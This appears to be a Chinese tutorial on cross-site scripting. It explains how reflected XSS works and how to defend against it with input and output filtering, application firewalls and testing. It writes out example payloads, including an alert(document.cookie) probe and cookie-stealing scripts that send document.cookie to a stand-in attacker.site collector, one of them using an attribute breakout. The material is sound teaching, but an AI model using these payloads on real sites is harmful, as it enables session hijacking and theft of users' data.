在跨站脚本攻击中会发生什么
跨站脚本攻击（cross-site scripting，简称 XSS），是黑客用来潜入 Web 应用程序的最普遍的应用程序层攻击之一。XSS 是针对特殊 Web 站点的客户隐私的攻击，当客户详细信息失窃或受控时可能引发彻底的安全威胁。大部分网站攻击只涉及两个群体：黑客和 Web 站点，或者黑客和客户端受害者。与那些攻击不同的是，XSS 攻击同时涉及三个群体：黑客、客户端和 Web 站点。
XSS 攻击的目的是盗走客户端 cookies，或者任何可以用于在 Web 站点确定客户身份的其他敏感信息。手边有了合法用户的标记，黑客可以继续扮演用户与站点交互，从而冒充用户。举例来说，在对一个大型公司的调查中表明，利用 XSS 攻击窥视用户的信用卡号码和私有信息是可能的。这是通过利用 Web 站点的访问特权，在受害者（客户端）浏览器上运行恶意的 JavaScript 代码来实现的。这些是非常有限的 JavaScript 特权，除了与站点相关的信息，一般不允许脚本访问其他任何内容。重点强调的是，虽然 Web 站点上存在安全漏洞，但是 Web 站点从未受到直接伤害。但是这已经足够让脚本收集 cookies，并且将它们发送给黑客。因此，黑客获得 cookies 并冒充受害者。
XSS 技术的深入解析
让我们调用受攻击的站点：www.vulnerable.site。传统的 XSS 攻击的核心处位于脆弱的站点中的脆弱的脚本。这些脚本读取部分 HTTP 请求（通常是参数，但有时也有 HTTP 头域或路径），并且在首次不加密的情况下全部或部分地将其回送给响应页面（因而，不确保它不包含 JavaScript 代码或 HTML 标签）。因此，假设该脚本名为 welcome.cgi，其参数为 name。可以通过以下方式进行操作：
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
响应是：
<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system
...
</HTML>
这是怎样被盗用的呢？黑客设法引诱受害客户点击他们提供给用户的链接。这是一个精心设计且蓄含恶意的链接，诱使受害者的 Web 浏览器访问站点（www.vulnerable.site），并调用入侵脚本。该脚本的数据里包含了用于非法访问客户端浏览器为 www.vulnerable.site 站点所存储 cookies 的 JavaScript。这是允许的，因为客户端浏览器“运行过”来自 www.vulnerable.site 的 JavaScript，并且 JavaScript 安全模型允许来自特殊站点的脚本访问属于该站点的 cookies。
这样的链接如下：
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
受害者点击链接之后将生成对 www.vulnerable.site 的请求，如下所示：
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0
Host: www.vulnerable.site ...
脆弱的站点的响应是：
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script>
<BR> Welcome to our system ...
</HTML>
受害者客户端的浏览器将把该响应解释为包含一段 JavaScript 代码的 HTML 页面。当执行时，该代码被允许访问所有属于 www.vulnerable.site 的 cookies。因此，它将在客户端浏览器中弹出一个窗口，显示属于 www.vulnerable.site 的所有客户端 cookies。
当然，真正的恶意攻击包含了将这些 cookies 发送给黑客的操作。对此，黑客可能建立 Web 站点（www.attacker.site）并使用脚本来接收 cookies。替代弹出窗口，黑客会书写访问 www.attacker.site 的 URL 的代码，从而调用接收 cookie 的脚本，其参数设置为被窃取的 cookies。这样，黑客可以从 www.attacker.site 服务器上获得 cookies。
恶意的链接会是：
http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
.cgi?cookie="%2Bdocument.cookie)</script>
响应页面看起来像这样：
<HTML> <Title>Welcome!</Title> Hi
<script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
<BR>
Welcome to our system ... </HTML>
加载该页面的浏览器会立即执行内嵌的 JavaScript，并向 www.attacker.site 中的 collect.cgi 脚本发送请求，并附带着浏览器已经拥有的 www.vulnerable.site 的 cookies 的值。这样就泄漏了客户端所拥有的 www.vulnerable.site 的 cookies。这将允许黑客冒充受害者。客户的隐私就完全被破坏了。
注意：
引发 JavaScript 弹出窗口的出现通常足够说明该站点容易受到 XSS 攻击。如果可以调用 JavaScript Alert 方法，那么通常没理由 window.open 调用不成功。这就是为什么大部分 XSS 攻击的实例使用 Alert 方法，因为这很容易检测其成功。
范围和可行性
攻击只会在受害者用于访问站点（www.vulnerable.site）的同一个浏览器中发生。黑客需要强迫客户端访问恶意链接。这会以以下这些方式进行：
• 黑客发送包含强迫浏览器访问该链接的 HTML 页面的电子邮件消息。这要求受害者使用 HTML 有效的电子邮件客户端，并且客户端的 HTML 阅读器是用于访问 www.vulnerable.site 的同一个浏览器。
• 客户端访问可能受黑客运作的站点，其中的图片链接或其他激活的 HTML 强迫浏览器访问该链接。再次声明，必须要求浏览器与访问该站点和 www.vulnerable.site 的是同一个浏览器。
恶意的 JavaScript 可以访问任何下列信息：
• 浏览器维护的（www.vulnerable.site 的）永久 cookies
• 浏览器实例维护的（www.vulnerable.site 的）RAM cookies，但只有当最近浏览 www.vulnerable.site 时发生。
• 为 www.vulnerable.site 打开的其他窗口的名称
• 可以通过当前的 DOM 访问的任何信息（如值、HTML 代码，等等）
身份识别、验证和授权标志通常以 cookies 形式维护。如果这些 cookies 是永久的，那么即使不在访问 www.vulnerable.site 的时候使用浏览器，受害者也是易受攻击的。然而，如果 cookies 是临时的，例如 RAM cookies，那么客户端必须处于访问 www.vulnerable.site 的会话中。
身份识别标志的另一种可能的实现是通过 URL 参数。在这种情况下，可以用这种方式使用 JavaScript 访问其他窗口（假设带有必要的 URL 参数的页面的名称为 foobar）：
<script>var victim_window=open(",'foobar');alert('Can access:
' +victim_window.location.search)</script>
跨站点脚本攻击的多种情形
除了 <SCRIPT>，使用其他 HTML 标签来运行 JavaScript 也是可能的。事实上，同样可能的是，恶意的 JavaScript 代码存储在另一个服务器上，并强迫客户端下载该脚本并执行它，如果要运行许多代码，或者代码中包含特殊字符时，这是很有用。
关于这些可能性的一些情形：
• 除了 <script>...</script>，黑客可以使用 <img src="javascript:...">。这对于过滤 <script> HTML 标签的站点来说很好用。
• 除了 <script>...</script>，还可以使用 <script src="http://...">。这对于 JavaScript 代码过长，或者其中包含了禁止字符时的情况是很好用的。
有时候，响应页面中内嵌的数据处于非自由的 HTML 环境中。在这种情况下，首先必要的是“逃”到自由的环境中，然后附加 XSS 攻击。举例来说，如果以 HTML 表单字段的默认值注入数据：
...
<input type=text name=user value="...">
...
那么在数据的开头必需包含 "> ，从而逃到自由的 HTML 环境中。数据可能是：
"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
结果得到的 HTML 是：
...
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
...
执行传统的 XSS 攻击的其他方式
到此为止，我们已经看到 XSS 攻击可以出现在用脚本回送响应的 GET 请求的参数中。但是也可以用 POST 请求实现攻击，或者利用 HTTP 请求的路径组件 —— 甚至使用一些 HTTP 头（例如 Referer）。
特别是，当错误页面返回错误的路径时，路径组件就有用了。在这种情况下，包含在该路径中的恶意脚本经常都会执行。已发现许多 Web 服务器都容易受到这种攻击。
什么出了问题？
很重要的是要知道，虽然 Web 站点不直接受到这种攻击的影响（站点继续正常工作，恶意代码不在站点上执行，不会出现 DoS 情况，并且数据不直接受控，或从站点上读取），但是它仍旧是站点向其访问者或客户端提供的隐私保护机制中的缺陷。这就像站点使用薄弱的安全标志（security token）部署应用程序，借此，黑客可以猜出客户的安全标志并冒充客户。
应用程序中的脆弱点是不管参数值是什么都回送参数的脚本。好的脚本确保参数的格式是适当的，包含合理的字符，等等。有效的参数通常没有合理的理由包含 HTML 标签或 JavaScript 代码，可靠起见，应该在这些内容嵌入响应之前，或者在应用程序中处理这些内容之前，将它们从参数中去掉。
如何保护站点不受 XSS 攻击
用这三种方式可以保护站点不受 XSS 攻击：
1. 执行内部的输入过滤（有时候称为输入清洁设备）。对于内部书写的每个脚本中的每个用户输入 —— 参数或 HTTP 头，都应该应用高级的 HTML 标签（包括 JavaScript 代码）过滤。举例来说，来自之前的案例研究中的 welcome.cgi 脚本在解码 name 参数之后，应该过滤 <script> 标签。该方法有一些严重的不利因素：
o 它要求应用程序的编程人员非常精通安全。
o 它要求编程人员覆盖所有可能的输入来源（查询参数、POST 请求的 body 参数、HTTP 头）。
o 它不能抵御第三方脚本或服务器中的安全漏洞。举例来说，它不能防御 Web 服务器错误页面中的问题（通常显示了资源的路径）。
2. 执行“输出过滤”，换句话说，当发回给浏览器时过滤用户数据，而不是当被脚本接收时。一个很好的示例是通过一个脚本将输入数据插入到数据库中，然后再从数据库呈现数据。在这种情况下，重要的是不向原始的输入字符串应用过滤，而只向输出版本应用过滤。这种方法的缺陷类似于对输入过滤的缺陷。
3. 通过安装第三方应用程序防火墙，防火墙在 XSS 攻击到达 Web 服务器和易受攻击的脚本之前拦截它们，并阻塞它们。不论是来自内部应用程序的脚本或路径、第三方脚本，或根本不描述资源的脚本（举例来说，用来引起来自服务器的 404 页面响应的脚本），应用程序防火墙都可以以一般的方式覆盖所有输入方法（包括路径和 HTTP 头）。对于每个输入源，应用程序防火墙根据各种 HTML 标签模式和 JavaScript 模式检查数据。如果匹配成功，就拒绝该请求，恶意的输入不会到达服务器。
检查您的站点是否处于 XSS 攻击保护的方法
检查站点免于遭受 XSS 攻击是加强站点安全保护的必然结论。正如保护站点免于遭受 XSS 攻击一样，检查站点的确安全也可以通过手工完成（硬方法），或利用自动的 Web 应用程序安全漏洞评估工具，它减轻了检查的负担。该工具爬遍站点，然后根据尝试参数、头，和路径找到的所有脚本，运行其知道的所有变化。在这两种方法中，用尽可能多的方式检查对应用程序的每个输入（所有脚本的参数、HTTP 头、路径）。如果响应页面包含浏览器可以执行的 JavaScript 代码，那么 XSS 安全漏洞就已显露出来。举例来说，发送此文本：
<script>alert(document.cookie)</script>
对每个脚本的每个参数（通过允许 JavaScript 的浏览器暴露出最简单类型的 XSS 安全漏洞），如果将文本解释为 JavaScript 代码，那么浏览器将弹出 JavaScript Alert 窗口。当然，还有很多其他情形，因此，只测试这种情形是不够的。如您已经很了解的话，很可能将 JavaScript 注入请求的各种字段中：参数、HTTP 头，和路径。尽管，在一些情况下（特别是 HTTP Referer 头），很难利用浏览器执行攻击。
总结
跨站脚本攻击是黑客用来潜入 Web 应用程序的最普遍的应用程序层攻击之一，并且是最危险的手段之一。它是针对特殊 Web 站点的客户隐私的攻击，当客户详细信息失窃或受控时可能引发彻底的安全问题。不幸的是，如本文所阐述的，这种攻击经常在无需了解客户或被攻击组织情况的前提下就可以实现。
要防止 Web 站点受到这些恶意行为的攻击，至关重要的是，组织要实现在线和脱机的安全策略。这包括使用能够自动化测试出站点中所有普遍的 Web 安全漏洞，和具体应用程序的安全漏洞（例如跨站脚本）的自动化安全漏洞评估工具。对于全面的在线防卫，同样至关重要的是安装可以检测并抵御任何对保存在 Web 服务器上，或其背后的代码和内容实施控制的防火墙应用程序。
相关推荐
### XSS跨站脚本攻击...通过对XSS攻击原理及其编码技巧的深入理解，开发者可以更好地识别潜在的风险，并采取有效的防御措施来保护Web应用的安全。此外，持续关注最新的安全趋势和技术也是预防XSS攻击的重要手段之一。
为有效防御XSS攻击，OWASP（开放Web应用安全项目）开发了名为AntiSamy的脚本注入拦截框架。AntiSamy是一款用于Java的HTML、CSS和JavaScript过滤器，其核心功能是根据策略文件对用户输入进行净化，确保所有输入严格...
然而，这一假设忽视了“受信任”的XSS攻击可能性——即攻击者可以利用目标站点自身的功能或漏洞来发起攻击，而这种攻击往往更具隐蔽性和欺骗性。 #### 安全系统的“水球效应” 随着XSS攻击难度的增加，以及浏览器...
#### XSS攻击概述 XSS（Cross Site Scripting）攻击，即跨站脚本攻击，是一种常见的网络安全漏洞，它允许攻击者在目标网站上注入恶意脚本，这些脚本在用户的浏览器中执行，从而获取敏感信息、修改网页内容或者进行...
常见的注入攻击类型包括SQL注入、命令注入、XSS（跨站脚本）等。注入点就是这些恶意数据能够进入程序的关键位置，例如HTTP请求参数、数据库查询语句等。 手工检测注入点的过程主要分为以下几个步骤： 1. **理解...
跨站点脚本攻击（XSS）则是指攻击者通过在用户浏览器中执行恶意脚本代码来窃取或篡改用户信息。未经授权的用户访问指的是未经许可的个体试图登录数据库系统，获取或修改敏感数据。 2. 数据库安全监控系统的研究现状...
- **Ajax安全（Ajax Security）**：聚焦于Ajax技术的安全性，涉及同源策略保护、基于DOM的跨站点脚本攻击、客户端过滤、DOM注入、XML注入、JSON注入、静默交易攻击、危险指令使用和不安全的客户端存储等方面。...
- 对用户输入进行验证和清理，防止XSS攻击。 - 避免硬编码敏感信息，如密码、数据库连接字符串等。 - 使用HTTPS提供加密连接，保护数据传输安全。 7. 日志分析： - 分析IIS日志，了解访问模式、异常情况，帮助...
3. **跨站脚本（XSS）**：如果应用程序将未经清理的用户输入直接输出到页面，攻击者可以插入恶意脚本，影响其他用户的浏览器，窃取会话信息或执行其他恶意行为。 4. **文件包含漏洞**：当服务器允许动态加载外部...
另外，对用户输入的数据进行过滤和验证，防止跨站脚本（XSS）攻击。最后，加强应用程序的代码审查，减少潜在的安全隐患。 综上所述，Android操作系统浏览器的安全问题需要引起高度重视。开发者和用户应共同努力，...
这种攻击允许攻击者在HTTP响应头中插入额外的字段，例如恶意的Cookie或HTTP头，可能导致会话劫持、跨站脚本（XSS）攻击、重定向到恶意站点等后果。本文将深入探讨CRLF注入的原理、常见应用场景以及如何防范。 **...
##### 3.1 跨站脚本攻击（XSS） 跨站脚本攻击是 Web 应用程序中一种常见的攻击方式，其核心在于将恶意脚本注入到用户浏览的网页中，从而窃取用户的敏感数据或执行恶意操作。在 Web2.0 时代，这种攻击方式变得更加...
跨站脚本攻击（Cross-Site Scripting，简称XSS）是一种常见的攻击方式，通过在受害者浏览器中执行恶意脚本，从而获取敏感信息、劫持会话或者重定向到恶意网站等。 **分类：** - **反射型XSS**：攻击者将恶意脚本...
2. **跨站脚本（XSS）测试**：通过模拟多种XSS攻击模式，框架可以检测目标站点是否存在跨站脚本漏洞。这些攻击包括存储型XSS、反射型XSS和DOM-based XSS，它们都可能被用来执行恶意代码。 3. **JSONP和CORS滥用**：...
- **2.3.1 LAB: DOM-Based Cross-Site Scripting (基于DOM的跨站点脚本)**：演示如何通过操纵DOM节点注入恶意脚本。 - **2.3.2 LAB: Client Side Filtering (客户端过滤)**：介绍如何使用客户端过滤机制防御某些类型...
- 它可用于验证漏洞，如认证绕过、权限提升或跨站脚本(XSS)漏洞。 2. 完成一次Burp Suite重放攻击的流程： - 首先，配置Burp Suite作为浏览器（如Firefox）的代理，确保所有HTTP通信通过它转发。 - 然后，访问...
恶意代码可能会通过跨站脚本(XSS)、跨站请求伪造(CSRF)或内存管理错误等漏洞，执行任意代码，窃取用户数据或破坏页面功能。 2. DNS劫持漏洞：Network Service处理DNS解析，若存在漏洞，攻击者可篡改DNS响应，将用户...
- **跨站脚本攻击(XSS)**：XSS允许攻击者在用户浏览器中注入恶意脚本，通常通过注入到网页的动态内容中。防御方法包括输入验证、输出编码、使用HTTPOnly Cookie以及Content Security Policy。 2. **跨站请求伪造...
4. **安全防御技术**：可能包括输入验证、输出编码、安全的会话管理等，这些都是防止SQL注入和XSS攻击的有效手段。通过源码，你可以看到如何在ASP环境中应用这些技术。 5. **日志和审计**：安全助手可能有记录和...